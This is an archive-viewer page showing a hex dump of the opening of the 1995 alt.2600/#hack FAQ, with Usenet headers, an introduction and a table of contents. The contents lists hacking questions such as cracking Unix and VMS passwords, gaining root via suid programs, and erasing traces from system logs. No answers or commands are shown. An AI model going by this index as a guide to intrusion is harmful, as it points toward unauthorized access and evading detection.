home *** CD-ROM | disk | FTP | other *** search
open in:
MacOS 8.1
|
Win98
|
DOS
view JSON data
|
view as text
This file was processed as: Mailbox/MIME Entity
(archive/mbox).
You can browse this item here: alt_2600.wri
Confidence | Program | Detection | Match Type | Support
|
---|
100%
| dexvert
| Mailbox/MIME Entity (archive/mbox)
| magic
| Supported |
100%
| dexvert
| Internet Message Format (text/imf)
| magic
| Supported |
1%
| dexvert
| Text File (text/txt)
| fallback
| Supported |
100%
| file
| Mailbox text, 1st line "From will@gnu.ai.mit.edu Sun Mar 19 13:24:17 HST 1995"
| default
| |
99%
| file
| data
| default
| |
100%
| TrID
| E-Mail message (Var. 2)
| default
| |
100%
| perlTextCheck
| Likely Text (Perl)
| default
| |
100%
| detectItEasy
| Format: plain text[CRLF]
| default (weak)
| |
100%
| xdgMime
| application/mbox
| default
|
|
hex view+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 77 69 6c | 6c 40 67 6e 75 2e 61 69 |From wil|l@gnu.ai|
|00000010| 2e 6d 69 74 2e 65 64 75 | 20 53 75 6e 20 4d 61 72 |.mit.edu| Sun Mar|
|00000020| 20 31 39 20 31 33 3a 32 | 34 3a 31 37 20 48 53 54 | 19 13:2|4:17 HST|
|00000030| 20 31 39 39 35 0d 0a 41 | 72 74 69 63 6c 65 3a 20 | 1995..A|rticle: |
|00000040| 32 31 34 39 37 20 6f 66 | 20 61 6c 74 2e 32 36 30 |21497 of| alt.260|
|00000050| 30 0d 0a 50 61 74 68 3a | 20 6e 65 77 73 2e 6c 61 |0..Path:| news.la|
|00000060| 76 61 2e 6e 65 74 21 6e | 65 77 73 6a 75 6e 6b 69 |va.net!n|ewsjunki|
|00000070| 65 2e 61 6e 73 2e 6e 65 | 74 21 73 77 69 73 73 2e |e.ans.ne|t!swiss.|
|00000080| 61 6e 73 2e 6e 65 74 21 | 70 6f 74 6f 67 6f 6c 64 |ans.net!|potogold|
|00000090| 2e 72 6d 69 69 2e 63 6f | 6d 21 72 61 69 6e 62 6f |.rmii.co|m!rainbo|
|000000a0| 77 2e 72 6d 69 69 2e 63 | 6f 6d 21 6e 6f 74 2d 66 |w.rmii.c|om!not-f|
|000000b0| 6f 72 2d 6d 61 69 6c 0d | 0a 46 72 6f 6d 3a 20 77 |or-mail.|.From: w|
|000000c0| 69 6c 6c 40 67 6e 75 2e | 61 69 2e 6d 69 74 2e 65 |ill@gnu.|ai.mit.e|
|000000d0| 64 75 20 28 57 69 6c 6c | 20 53 70 65 6e 63 65 72 |du (Will| Spencer|
|000000e0| 29 0d 0a 4e 65 77 73 67 | 72 6f 75 70 73 3a 20 61 |)..Newsg|roups: a|
|000000f0| 6c 74 2e 32 36 30 30 0d | 0a 53 75 62 6a 65 63 74 |lt.2600.|.Subject|
|00000100| 3a 20 61 6c 74 2e 32 36 | 30 30 20 46 41 51 2c 20 |: alt.26|00 FAQ, |
|00000110| 42 65 74 61 20 2e 30 31 | 31 20 2d 20 50 61 72 74 |Beta .01|1 - Part|
|00000120| 20 31 2f 31 0d 0a 46 6f | 6c 6c 6f 77 75 70 2d 54 | 1/1..Fo|llowup-T|
|00000130| 6f 3a 20 61 6c 74 2e 32 | 36 30 30 0d 0a 44 61 74 |o: alt.2|600..Dat|
|00000140| 65 3a 20 31 39 20 4d 61 | 72 20 31 39 39 35 20 31 |e: 19 Ma|r 1995 1|
|00000150| 31 3a 34 38 3a 35 30 20 | 2d 30 37 30 30 0d 0a 4f |1:48:50 |-0700..O|
|00000160| 72 67 61 6e 69 7a 61 74 | 69 6f 6e 3a 20 52 6f 63 |rganizat|ion: Roc|
|00000170| 6b 79 20 4d 6f 75 6e 74 | 61 69 6e 20 49 6e 74 65 |ky Mount|ain Inte|
|00000180| 72 6e 65 74 20 49 6e 63 | 2e 0d 0a 4c 69 6e 65 73 |rnet Inc|...Lines|
|00000190| 3a 20 35 30 32 32 0d 0a | 53 65 6e 64 65 72 3a 20 |: 5022..|Sender: |
|000001a0| 77 69 6c 6c 40 72 6d 69 | 69 2e 63 6f 6d 0d 0a 4d |will@rmi|i.com..M|
|000001b0| 65 73 73 61 67 65 2d 49 | 44 3a 20 3c 33 6b 68 75 |essage-I|D: <3khu|
|000001c0| 61 69 24 62 71 34 40 72 | 61 69 6e 62 6f 77 2e 72 |ai$bq4@r|ainbow.r|
|000001d0| 6d 69 69 2e 63 6f 6d 3e | 0d 0a 52 65 70 6c 79 2d |mii.com>|..Reply-|
|000001e0| 54 6f 3a 20 77 69 6c 6c | 40 67 6e 75 2e 61 69 2e |To: will|@gnu.ai.|
|000001f0| 6d 69 74 2e 65 64 75 20 | 28 46 41 51 20 43 6f 6d |mit.edu |(FAQ Com|
|00000200| 6d 65 6e 74 73 20 61 64 | 64 72 65 73 73 29 0d 0a |ments ad|dress)..|
|00000210| 4e 4e 54 50 2d 50 6f 73 | 74 69 6e 67 2d 48 6f 73 |NNTP-Pos|ting-Hos|
|00000220| 74 3a 20 72 61 69 6e 62 | 6f 77 2e 72 6d 69 69 2e |t: rainb|ow.rmii.|
|00000230| 63 6f 6d 0d 0a 53 75 6d | 6d 61 72 79 3a 20 54 68 |com..Sum|mary: Th|
|00000240| 69 73 20 70 6f 73 74 69 | 6e 67 20 63 6f 6e 74 61 |is posti|ng conta|
|00000250| 69 6e 73 20 61 20 6c 69 | 73 74 20 6f 66 20 46 72 |ins a li|st of Fr|
|00000260| 65 71 75 65 6e 74 6c 79 | 20 41 73 6b 65 64 0d 0a |equently| Asked..|
|00000270| 09 20 51 75 65 73 74 69 | 6f 6e 73 20 28 61 6e 64 |. Questi|ons (and|
|00000280| 20 74 68 65 69 72 20 61 | 6e 73 77 65 72 73 29 20 | their a|nswers) |
|00000290| 61 62 6f 75 74 20 68 61 | 63 6b 69 6e 67 2e 20 20 |about ha|cking. |
|000002a0| 49 74 0d 0a 09 20 73 68 | 6f 75 6c 64 20 62 65 20 |It... sh|ould be |
|000002b0| 72 65 61 64 20 62 79 20 | 61 6e 79 6f 6e 65 20 77 |read by |anyone w|
|000002c0| 68 6f 20 77 69 73 68 65 | 73 20 74 6f 20 70 6f 73 |ho wishe|s to pos|
|000002d0| 74 20 74 6f 20 74 68 65 | 0d 0a 09 20 61 6c 74 2e |t to the|... alt.|
|000002e0| 32 36 30 30 20 6e 65 77 | 73 67 72 6f 75 70 20 6f |2600 new|sgroup o|
|000002f0| 72 20 75 73 65 20 74 68 | 65 20 49 52 43 20 63 68 |r use th|e IRC ch|
|00000300| 61 6e 6e 65 6c 20 23 68 | 61 63 6b 2e 0d 0a 0d 0a |annel #h|ack.....|
|00000310| 41 72 63 68 69 76 65 2d | 6e 61 6d 65 3a 20 61 6c |Archive-|name: al|
|00000320| 74 2d 32 36 30 30 2d 66 | 61 71 0d 0a 50 6f 73 74 |t-2600-f|aq..Post|
|00000330| 69 6e 67 2d 46 72 65 71 | 75 65 6e 63 79 3a 20 52 |ing-Freq|uency: R|
|00000340| 61 6e 64 6f 6d 0d 0a 4c | 61 73 74 2d 4d 6f 64 69 |andom..L|ast-Modi|
|00000350| 66 69 65 64 3a 20 31 39 | 39 35 2f 30 33 2f 31 38 |fied: 19|95/03/18|
|00000360| 0d 0a 56 65 72 73 69 6f | 6e 3a 20 42 65 74 61 20 |..Versio|n: Beta |
|00000370| 2e 30 31 31 0d 0a 0d 0a | 0d 0a 45 64 69 74 6f 72 |.011....|..Editor|
|00000380| 73 20 4e 6f 74 65 3a 20 | 57 65 6c 63 6f 6d 65 20 |s Note: |Welcome |
|00000390| 74 6f 20 42 65 74 61 20 | 2e 30 31 31 20 6f 66 20 |to Beta |.011 of |
|000003a0| 74 68 65 20 61 6c 74 2e | 32 36 30 30 2f 23 68 61 |the alt.|2600/#ha|
|000003b0| 63 6b 20 46 41 51 21 0d | 0a 0d 0a 20 20 20 20 20 |ck FAQ!.|... |
|000003c0| 20 20 20 20 20 20 20 20 | 20 20 20 54 68 65 20 70 | | The p|
|000003d0| 75 72 70 6f 73 65 20 6f | 66 20 74 68 69 73 20 46 |urpose o|f this F|
|000003e0| 41 51 20 69 73 20 74 6f | 20 67 69 76 65 20 79 6f |AQ is to| give yo|
|000003f0| 75 20 61 20 67 65 6e 65 | 72 61 6c 0d 0a 20 20 20 |u a gene|ral.. |
|00000400| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 69 6e 74 | | int|
|00000410| 72 6f 64 75 63 74 69 6f | 6e 20 74 6f 20 74 68 65 |roductio|n to the|
|00000420| 20 74 6f 70 69 63 73 20 | 63 6f 76 65 72 65 64 20 | topics |covered |
|00000430| 69 6e 20 61 6c 74 2e 32 | 36 30 30 20 61 6e 64 0d |in alt.2|600 and.|
|00000440| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000450| 20 23 68 61 63 6b 2e 20 | 20 4e 6f 20 64 6f 63 75 | #hack. | No docu|
|00000460| 6d 65 6e 74 20 77 69 6c | 6c 20 6d 61 6b 65 20 79 |ment wil|l make y|
|00000470| 6f 75 20 61 20 68 61 63 | 6b 65 72 2e 0d 0a 0d 0a |ou a hac|ker.....|
|00000480| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000490| 49 66 20 79 6f 75 20 68 | 61 76 65 20 61 20 71 75 |If you h|ave a qu|
|000004a0| 65 73 74 69 6f 6e 73 20 | 72 65 67 61 72 64 69 6e |estions |regardin|
|000004b0| 67 20 61 6e 79 20 6f 66 | 20 74 68 65 20 74 6f 70 |g any of| the top|
|000004c0| 69 63 73 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |ics.. | |
|000004d0| 20 20 20 20 20 63 6f 76 | 65 72 65 64 20 69 6e 20 | cov|ered in |
|000004e0| 74 68 65 20 46 41 51 2c | 20 70 6c 65 61 73 65 20 |the FAQ,| please |
|000004f0| 64 69 72 65 63 74 20 69 | 74 20 74 6f 20 61 6c 74 |direct i|t to alt|
|00000500| 2e 32 36 30 30 20 6f 72 | 0d 0a 20 20 20 20 20 20 |.2600 or|.. |
|00000510| 20 20 20 20 20 20 20 20 | 20 20 23 68 61 63 6b 2e | | #hack.|
|00000520| 20 20 50 6c 65 61 73 65 | 20 64 6f 20 6e 6f 74 20 | Please| do not |
|00000530| 65 2d 6d 61 69 6c 20 6d | 65 20 77 69 74 68 20 74 |e-mail m|e with t|
|00000540| 68 65 6d 2c 20 49 27 6d | 20 67 65 74 74 69 6e 67 |hem, I'm| getting|
|00000550| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|00000560| 20 20 73 77 61 6d 70 65 | 64 2e 0d 0a 0d 0a 20 20 | swampe|d..... |
|00000570| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 49 66 | | If|
|00000580| 20 79 6f 75 72 20 63 6f | 70 79 20 6f 66 20 74 68 | your co|py of th|
|00000590| 65 20 23 68 61 63 6b 20 | 46 41 51 20 64 6f 65 73 |e #hack |FAQ does|
|000005a0| 20 6e 6f 74 20 65 6e 64 | 20 77 69 74 68 20 74 68 | not end| with th|
|000005b0| 65 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |e.. | |
|000005c0| 20 20 20 6c 65 74 74 65 | 72 73 20 45 4f 54 20 6f | lette|rs EOT o|
|000005d0| 6e 20 61 20 6c 69 6e 65 | 20 62 79 20 74 68 65 6d |n a line| by them|
|000005e0| 73 65 6c 76 65 73 2c 20 | 79 6f 75 20 64 6f 20 6e |selves, |you do n|
|000005f0| 6f 74 20 68 61 76 65 0d | 0a 20 20 20 20 20 20 20 |ot have.|. |
|00000600| 20 20 20 20 20 20 20 20 | 20 74 68 65 20 65 6e 74 | | the ent|
|00000610| 69 72 65 20 46 41 51 2e | 0d 0a 0d 0a 20 20 20 20 |ire FAQ.|.... |
|00000620| 20 20 20 20 20 20 20 20 | 20 20 20 20 49 66 20 79 | | If y|
|00000630| 6f 75 20 64 6f 20 6e 6f | 74 20 68 61 76 65 20 74 |ou do no|t have t|
|00000640| 68 65 20 65 6e 74 69 72 | 65 20 46 41 51 2c 20 72 |he entir|e FAQ, r|
|00000650| 65 74 72 69 65 76 65 20 | 69 66 20 76 69 61 20 66 |etrieve |if via f|
|00000660| 74 70 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |tp.. | |
|00000670| 20 20 20 20 66 72 6f 6d | 20 6f 6e 65 20 6f 66 20 | from| one of |
|00000680| 74 68 65 73 65 20 73 69 | 74 65 73 3a 0d 0a 0d 0a |these si|tes:....|
|00000690| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000006a0| 20 20 20 20 20 20 20 20 | 72 61 68 75 6c 2e 6e 65 | |rahul.ne|
|000006b0| 74 20 20 20 20 20 20 20 | 2f 70 75 62 2f 6c 70 73 |t |/pub/lps|
|000006c0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|000006d0| 20 20 20 20 20 20 20 20 | 20 20 72 74 66 6d 2e 6d | | rtfm.m|
|000006e0| 69 74 2e 65 64 75 20 20 | 20 20 2f 70 75 62 2f 75 |it.edu | /pub/u|
|000006f0| 73 65 6e 65 74 2d 62 79 | 2d 67 72 6f 75 70 2f 61 |senet-by|-group/a|
|00000700| 6c 74 2e 32 36 30 30 0d | 0a 20 20 20 20 20 20 20 |lt.2600.|. |
|00000710| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000720| 20 66 74 70 2e 63 6c 61 | 72 6b 2e 6e 65 74 20 20 | ftp.cla|rk.net |
|00000730| 20 2f 70 75 62 2f 6a 63 | 61 73 65 0d 0a 0d 0a 0d | /pub/jc|ase.....|
|00000740| 0a 0d 0a 0d 0a 0d 0a 0d | 0a 0d 0a 20 20 20 20 20 |........|... |
|00000750| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000760| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 54 | | T|
|00000770| 68 65 0d 0a 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |he.... | |
|00000780| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000790| 20 20 61 6c 74 2e 32 36 | 30 30 2f 23 48 61 63 6b | alt.26|00/#Hack|
|000007a0| 20 46 2e 41 2e 51 2e 0d | 0a 0d 0a 20 20 20 20 20 | F.A.Q..|... |
|000007b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000007c0| 20 20 20 20 20 20 20 20 | 42 65 74 61 20 52 65 76 | |Beta Rev|
|000007d0| 69 73 69 6f 6e 20 2e 30 | 31 31 0d 0a 0d 0a 20 20 |ision .0|11.... |
|000007e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000007f0| 20 20 20 20 20 20 41 20 | 54 4e 4f 20 43 6f 6d 6d | A |TNO Comm|
|00000800| 75 6e 69 63 61 74 69 6f | 6e 20 50 72 6f 64 75 63 |unicatio|n Produc|
|00000810| 74 69 6f 6e 0d 0a 0d 0a | 20 20 20 20 20 20 20 20 |tion....| |
|00000820| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000830| 20 20 20 20 20 20 20 20 | 20 20 20 20 62 79 0d 0a | | by..|
|00000840| 09 09 09 09 20 20 56 6f | 79 61 67 65 72 0d 0a 09 |.... Vo|yager...|
|00000850| 09 09 20 20 20 20 77 69 | 6c 6c 40 67 6e 75 2e 61 |.. wi|ll@gnu.a|
|00000860| 69 2e 6d 69 74 2e 65 64 | 75 0d 0a 0d 0a 09 09 09 |i.mit.ed|u.......|
|00000870| 09 53 79 73 6f 70 20 6f | 66 0d 0a 09 09 09 20 20 |.Sysop o|f..... |
|00000880| 20 20 20 48 61 63 6b 65 | 72 27 73 20 48 61 76 65 | Hacke|r's Have|
|00000890| 6e 0d 0a 09 09 09 20 20 | 20 20 20 20 28 33 30 33 |n..... | (303|
|000008a0| 29 33 34 33 2d 34 30 35 | 33 0d 0a 0d 0a 20 20 20 |)343-405|3.... |
|000008b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000008c0| 20 20 20 20 20 20 20 20 | 20 47 72 65 65 74 73 20 | | Greets |
|000008d0| 67 6f 20 6f 75 74 20 74 | 6f 3a 0d 0a 0d 0a 20 20 |go out t|o:.... |
|000008e0| 20 20 20 20 20 20 20 20 | 41 2d 46 6c 61 74 2c 20 | |A-Flat, |
|000008f0| 41 6c 2c 20 41 6c 65 70 | 68 31 2c 20 42 6c 75 65 |Al, Alep|h1, Blue|
|00000900| 73 6d 61 6e 2c 20 43 61 | 76 61 6c 69 65 72 2c 20 |sman, Ca|valier, |
|00000910| 43 72 75 69 73 65 72 2c | 20 43 2d 43 75 72 76 65 |Cruiser,| C-Curve|
|00000920| 2c 0d 0a 20 20 20 20 20 | 20 20 20 20 20 44 65 61 |,.. | Dea|
|00000930| 64 4b 61 74 2c 20 44 69 | 73 6f 72 64 65 72 2c 20 |dKat, Di|sorder, |
|00000940| 45 64 69 73 6f 6e 2c 20 | 48 6f 62 62 69 74 2c 20 |Edison, |Hobbit, |
|00000950| 4b 43 72 6f 77 2c 20 4d | 61 6a 6f 72 2c 20 4d 61 |KCrow, M|ajor, Ma|
|00000960| 72 61 75 64 65 72 2c 0d | 0a 20 20 20 20 20 20 20 |rauder,.|. |
|00000970| 20 20 20 4e 6f 76 6f 63 | 61 69 6e 2c 20 4f 75 74 | Novoc|ain, Out|
|00000980| 73 69 64 65 72 2c 20 50 | 72 65 73 65 6e 63 65 2c |sider, P|resence,|
|00000990| 20 52 6f 67 75 65 20 41 | 67 65 6e 74 2c 20 73 62 | Rogue A|gent, sb|
|000009a0| 69 6e 2c 20 54 61 72 61 | 6e 20 4b 69 6e 67 2c 0d |in, Tara|n King,.|
|000009b0| 0a 20 20 20 20 20 20 20 | 20 20 20 54 68 65 6f 72 |. | Theor|
|000009c0| 61 2c 20 54 68 65 50 75 | 62 6c 69 63 2c 20 54 6f |a, ThePu|blic, To|
|000009d0| 6d 65 73 20 61 6e 64 20 | 54 68 65 53 61 69 6e 74 |mes and |TheSaint|
|000009e0| 2e 0d 0a 0d 0a 0d 0a 09 | 09 20 20 20 20 20 20 20 |........|. |
|000009f0| 57 65 20 77 6f 72 6b 20 | 69 6e 20 74 68 65 20 64 |We work |in the d|
|00000a00| 61 72 6b 0d 0a 09 09 20 | 20 20 20 20 20 20 57 65 |ark.... | We|
|00000a10| 20 64 6f 20 77 68 61 74 | 20 77 65 20 63 61 6e 0d | do what| we can.|
|00000a20| 0a 09 09 20 20 20 20 20 | 20 20 57 65 20 67 69 76 |... | We giv|
|00000a30| 65 20 77 68 61 74 20 77 | 65 20 68 61 76 65 0d 0a |e what w|e have..|
|00000a40| 09 09 20 20 20 20 20 20 | 20 4f 75 72 20 64 6f 75 |.. | Our dou|
|00000a50| 62 74 20 69 73 20 6f 75 | 72 20 70 61 73 73 69 6f |bt is ou|r passio|
|00000a60| 6e 2c 0d 0a 09 09 20 20 | 20 20 20 20 20 61 6e 64 |n,.... | and|
|00000a70| 20 6f 75 72 20 70 61 73 | 73 69 6f 6e 20 69 73 20 | our pas|sion is |
|00000a80| 6f 75 72 20 74 61 73 6b | 0d 0a 09 09 20 20 20 20 |our task|.... |
|00000a90| 20 20 20 54 68 65 20 72 | 65 73 74 20 69 73 20 74 | The r|est is t|
|00000aa0| 68 65 20 6d 61 64 6e 65 | 73 73 20 6f 66 20 61 72 |he madne|ss of ar|
|00000ab0| 74 2e 0d 0a 0d 0a 09 09 | 09 09 2d 2d 20 48 65 6e |t.......|..-- Hen|
|00000ac0| 72 79 20 4a 61 6d 65 73 | 0d 0a 0d 0a 0d 0a 0d 0a |ry James|........|
|00000ad0| 53 65 63 74 69 6f 6e 20 | 41 3a 20 43 6f 6d 70 75 |Section |A: Compu|
|00000ae0| 74 65 72 73 0d 0a 0d 0a | 20 20 30 31 2e 20 48 6f |ters....| 01. Ho|
|00000af0| 77 20 64 6f 20 49 20 61 | 63 63 65 73 73 20 74 68 |w do I a|ccess th|
|00000b00| 65 20 70 61 73 73 77 6f | 72 64 20 66 69 6c 65 20 |e passwo|rd file |
|00000b10| 75 6e 64 65 72 20 55 6e | 69 78 3f 0d 0a 20 20 30 |under Un|ix?.. 0|
|00000b20| 32 2e 20 48 6f 77 20 64 | 6f 20 49 20 63 72 61 63 |2. How d|o I crac|
|00000b30| 6b 20 55 6e 69 78 20 70 | 61 73 73 77 6f 72 64 73 |k Unix p|asswords|
|00000b40| 3f 0d 0a 20 20 30 33 2e | 20 57 68 61 74 20 69 73 |?.. 03.| What is|
|00000b50| 20 70 61 73 73 77 6f 72 | 64 20 73 68 61 64 6f 77 | passwor|d shadow|
|00000b60| 69 6e 67 3f 0d 0a 20 20 | 30 34 2e 20 57 68 65 72 |ing?.. |04. Wher|
|00000b70| 65 20 63 61 6e 20 49 20 | 66 69 6e 64 20 74 68 65 |e can I |find the|
|00000b80| 20 70 61 73 73 77 6f 72 | 64 20 66 69 6c 65 20 69 | passwor|d file i|
|00000b90| 66 20 69 74 27 73 20 73 | 68 61 64 6f 77 65 64 3f |f it's s|hadowed?|
|00000ba0| 0d 0a 20 20 30 35 2e 20 | 57 68 61 74 20 69 73 20 |.. 05. |What is |
|00000bb0| 4e 49 53 2f 79 70 3f 0d | 0a 20 20 30 36 2e 20 57 |NIS/yp?.|. 06. W|
|00000bc0| 68 61 74 20 61 72 65 20 | 74 68 6f 73 65 20 77 65 |hat are |those we|
|00000bd0| 69 72 64 20 63 68 61 72 | 61 63 74 65 72 73 20 61 |ird char|acters a|
|00000be0| 66 74 65 72 20 74 68 65 | 20 63 6f 6d 6d 61 20 69 |fter the| comma i|
|00000bf0| 6e 20 6d 79 20 70 61 73 | 73 77 64 20 66 69 6c 65 |n my pas|swd file|
|00000c00| 3f 0d 0a 20 20 30 37 2e | 20 48 6f 77 20 64 6f 20 |?.. 07.| How do |
|00000c10| 49 20 61 63 63 65 73 73 | 20 74 68 65 20 70 61 73 |I access| the pas|
|00000c20| 73 77 6f 72 64 20 66 69 | 6c 65 20 75 6e 64 65 72 |sword fi|le under|
|00000c30| 20 56 4d 53 3f 0d 0a 20 | 20 30 38 2e 20 48 6f 77 | VMS?.. | 08. How|
|00000c40| 20 64 6f 20 49 20 63 72 | 61 63 6b 20 56 4d 53 20 | do I cr|ack VMS |
|00000c50| 70 61 73 73 77 6f 72 64 | 73 3f 0d 0a 20 20 30 39 |password|s?.. 09|
|00000c60| 2e 20 48 6f 77 20 64 6f | 20 49 20 62 72 65 61 6b |. How do| I break|
|00000c70| 20 6f 75 74 20 6f 66 20 | 61 20 72 65 73 74 72 69 | out of |a restri|
|00000c80| 63 74 65 64 20 73 68 65 | 6c 6c 3f 0d 0a 20 20 31 |cted she|ll?.. 1|
|00000c90| 30 2e 20 48 6f 77 20 64 | 6f 20 49 20 67 61 69 6e |0. How d|o I gain|
|00000ca0| 20 72 6f 6f 74 20 66 72 | 6f 6d 20 61 20 73 75 69 | root fr|om a sui|
|00000cb0| 64 20 73 63 72 69 70 74 | 20 6f 72 20 70 72 6f 67 |d script| or prog|
|00000cc0| 72 61 6d 3f 0d 0a 20 20 | 31 31 2e 20 48 6f 77 20 |ram?.. |11. How |
|00000cd0| 64 6f 20 49 20 65 72 61 | 73 65 20 6d 79 20 70 72 |do I era|se my pr|
|00000ce0| 65 73 65 6e 63 65 20 66 | 72 6f 6d 20 74 68 65 20 |esence f|rom the |
|00000cf0| 73 79 73 74 65 6d 20 6c | 6f 67 73 3f 0d 0a 20 20 |system l|ogs?.. |
|00000d00| 31 32 2e 20 48 6f 77 20 | 64 6f 20 49 20 73 65 6e |12. How |do I sen|
|00000d10| 64 20 66 61 6b 65 6d 61 | 69 6c 3f 0d 0a 20 20 31 |d fakema|il?.. 1|
|00000d20| 33 2e 20 48 6f 77 20 64 | 6f 20 49 20 66 61 6b 65 |3. How d|o I fake|
|00000d30| 20 70 6f 73 74 73 20 74 | 6f 20 55 73 65 4e 65 74 | posts t|o UseNet|
|00000d40| 3f 0d 0a 20 20 31 34 2e | 20 48 6f 77 20 64 6f 20 |?.. 14.| How do |
|00000d50| 49 20 68 61 63 6b 20 43 | 68 61 6e 4f 70 20 6f 6e |I hack C|hanOp on|
|00000d60| 20 49 52 43 3f 0d 0a 20 | 20 31 35 2e 20 48 6f 77 | IRC?.. | 15. How|
|00000d70| 20 64 6f 20 49 20 6d 6f | 64 69 66 79 20 74 68 65 | do I mo|dify the|
|00000d80| 20 49 52 43 20 63 6c 69 | 65 6e 74 20 74 6f 20 68 | IRC cli|ent to h|
|00000d90| 69 64 65 20 6d 79 20 72 | 65 61 6c 20 75 73 65 72 |ide my r|eal user|
|00000da0| 6e 61 6d 65 3f 0d 0a 20 | 20 31 36 2e 20 48 6f 77 |name?.. | 16. How|
|00000db0| 20 74 6f 20 49 20 63 68 | 61 6e 67 65 20 74 6f 20 | to I ch|ange to |
|00000dc0| 64 69 72 65 63 74 6f 72 | 69 65 73 20 77 69 74 68 |director|ies with|
|00000dd0| 20 73 74 72 61 6e 67 65 | 20 63 68 61 72 61 63 74 | strange| charact|
|00000de0| 65 72 73 20 69 6e 20 74 | 68 65 6d 3f 0d 0a 20 20 |ers in t|hem?.. |
|00000df0| 31 37 2e 20 57 68 61 74 | 20 69 73 20 65 74 68 65 |17. What| is ethe|
|00000e00| 72 6e 65 74 20 73 6e 69 | 66 66 69 6e 67 3f 0d 0a |rnet sni|ffing?..|
|00000e10| 20 20 31 38 2e 20 57 68 | 61 74 20 69 73 20 61 6e | 18. Wh|at is an|
|00000e20| 20 49 6e 74 65 72 6e 65 | 74 20 4f 75 74 64 69 61 | Interne|t Outdia|
|00000e30| 6c 3f 0d 0a 55 20 31 39 | 2e 20 57 68 61 74 20 61 |l?..U 19|. What a|
|00000e40| 72 65 20 73 6f 6d 65 20 | 49 6e 74 65 72 6e 65 74 |re some |Internet|
|00000e50| 20 4f 75 74 64 69 61 6c | 73 3f 0d 0a 55 20 32 30 | Outdial|s?..U 20|
|00000e60| 2e 20 57 68 61 74 20 69 | 73 20 74 68 69 73 20 73 |. What i|s this s|
|00000e70| 79 73 74 65 6d 3f 0d 0a | 55 20 32 31 2e 20 57 68 |ystem?..|U 21. Wh|
|00000e80| 61 74 20 61 72 65 20 74 | 68 65 20 64 65 66 61 75 |at are t|he defau|
|00000e90| 6c 74 20 61 63 63 6f 75 | 6e 74 73 20 66 6f 72 20 |lt accou|nts for |
|00000ea0| 58 58 58 20 3f 0d 0a 55 | 20 32 32 2e 20 57 68 61 |XXX ?..U| 22. Wha|
|00000eb0| 74 20 70 6f 72 74 20 69 | 73 20 58 58 58 20 6f 6e |t port i|s XXX on|
|00000ec0| 3f 0d 0a 55 20 32 33 2e | 20 57 68 61 74 20 69 73 |?..U 23.| What is|
|00000ed0| 20 61 20 74 72 6f 6a 61 | 6e 2f 77 6f 72 6d 2f 76 | a troja|n/worm/v|
|00000ee0| 69 72 75 73 2f 6c 6f 67 | 69 63 20 62 6f 6d 62 3f |irus/log|ic bomb?|
|00000ef0| 0d 0a 55 20 32 34 2e 20 | 48 6f 77 20 63 61 6e 20 |..U 24. |How can |
|00000f00| 49 20 70 72 6f 74 65 63 | 74 20 6d 79 73 65 6c 66 |I protec|t myself|
|00000f10| 20 66 72 6f 6d 20 76 69 | 72 75 73 65 73 20 61 6e | from vi|ruses an|
|00000f20| 64 20 73 75 63 68 3f 0d | 0a 4e 20 32 35 2e 20 57 |d such?.|.N 25. W|
|00000f30| 68 65 72 65 20 63 61 6e | 20 49 20 67 65 74 20 6d |here can| I get m|
|00000f40| 6f 72 65 20 69 6e 66 6f | 72 6d 61 74 69 6f 6e 20 |ore info|rmation |
|00000f50| 61 62 6f 75 74 20 76 69 | 72 75 73 65 73 3f 0d 0a |about vi|ruses?..|
|00000f60| 20 20 32 36 2e 20 57 68 | 61 74 20 69 73 20 43 72 | 26. Wh|at is Cr|
|00000f70| 79 70 74 6f 78 78 78 78 | 78 78 78 3f 0d 0a 20 20 |yptoxxxx|xxx?.. |
|00000f80| 32 37 2e 20 57 68 61 74 | 20 69 73 20 50 47 50 3f |27. What| is PGP?|
|00000f90| 0d 0a 20 20 32 38 2e 20 | 57 68 61 74 20 69 73 20 |.. 28. |What is |
|00000fa0| 54 65 6d 70 65 73 74 3f | 0d 0a 20 20 32 39 2e 20 |Tempest?|.. 29. |
|00000fb0| 57 68 61 74 20 69 73 20 | 61 6e 20 61 6e 6f 6e 79 |What is |an anony|
|00000fc0| 6d 6f 75 73 20 72 65 6d | 61 69 6c 65 72 3f 0d 0a |mous rem|ailer?..|
|00000fd0| 20 20 33 30 2e 20 57 68 | 61 74 20 61 72 65 20 74 | 30. Wh|at are t|
|00000fe0| 68 65 20 61 64 64 72 65 | 73 73 65 73 20 6f 66 20 |he addre|sses of |
|00000ff0| 73 6f 6d 65 20 61 6e 6f | 6e 79 6d 6f 75 73 20 72 |some ano|nymous r|
|00001000| 65 6d 61 69 6c 65 72 73 | 3f 0d 0a 20 20 33 31 2e |emailers|?.. 31.|
|00001010| 20 48 6f 77 20 64 6f 20 | 49 20 64 65 66 65 61 74 | How do |I defeat|
|00001020| 20 63 6f 70 79 20 70 72 | 6f 74 65 63 74 69 6f 6e | copy pr|otection|
|00001030| 3f 0d 0a 20 20 33 32 2e | 20 57 68 61 74 20 69 73 |?.. 32.| What is|
|00001040| 20 31 32 37 2e 30 2e 30 | 2e 31 3f 0d 0a 4e 20 33 | 127.0.0|.1?..N 3|
|00001050| 33 2e 20 48 6f 77 20 64 | 6f 20 49 20 70 6f 73 74 |3. How d|o I post|
